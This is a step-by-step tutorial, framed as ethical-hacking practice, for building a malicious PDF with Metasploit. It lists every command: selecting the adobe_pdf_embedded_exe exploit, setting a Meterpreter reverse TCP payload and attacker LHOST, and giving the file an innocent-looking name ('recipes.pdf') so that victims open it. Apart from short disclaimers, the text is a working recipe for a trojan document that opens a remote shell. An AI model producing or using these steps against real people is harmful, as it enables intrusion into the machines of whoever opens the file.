🔥How to Create a Malicious PDF Using Metasploit for Ethical Hacking Practice❓

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Disclaimer: This tutorial is for educational and ethical hacking purposes only. Unauthorized access to systems is illegal and punishable by law. Always get proper permission before testing.


Metasploit is one of the most powerful tools in any ethical hacker’s toolkit. In this guide, we’ll walk through the steps to create a malicious PDF file embedded with a Meterpreter payload using Metasploit. This method is commonly used for penetration testing on Windows systems.


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Step 1: Launch Metasploit

Start by opening your terminal and running the Metasploit Framework:

msfconsole


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Step 2: Search for an Appropriate Windows PDF Exploit

We need an exploit that targets Adobe PDF files on Windows. Use the following command to search Metasploit's database:

msf > search type:exploit platform:windows adobe pdf

Look for this exploit in the results:

exploit/windows/fileformat/adobe_pdf_embedded_exe

Select it with the use command:

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe


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Step 3: Set the Payload

We’ll use the powerful Meterpreter payload with a reverse TCP connection:

msf > set payload windows/meterpreter/reverse_tcp


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Step 4: Configure Exploit Options

First, view the required parameters:

msf > show options

Now set the input PDF file (must be a valid PDF), for example:

msf > set INFILENAME example.pdf

Set an innocent-looking output file name to increase the chances of a user opening it:

msf > set FILENAME recipes.pdf

Specify your local IP address (attacker machine) for the reverse connection:

msf > set LHOST 192.168.1.8


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Step 5: Generate the Malicious PDF

Now that everything is configured, generate the malicious PDF:

msf > exploit

Metasploit will now create recipes.pdf, embedded with the Meterpreter payload. This file, when opened by a target, initiates a reverse connection to your machine.


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Conclusion

You’ve successfully created a malicious PDF using Metasploit and embedded a reverse TCP Meterpreter payload. This technique is commonly used in penetration testing to simulate real-world attacks and test security awareness.

Important: Always use these techniques in a legal and controlled environment. Test your own systems or those you have explicit permission to assess.

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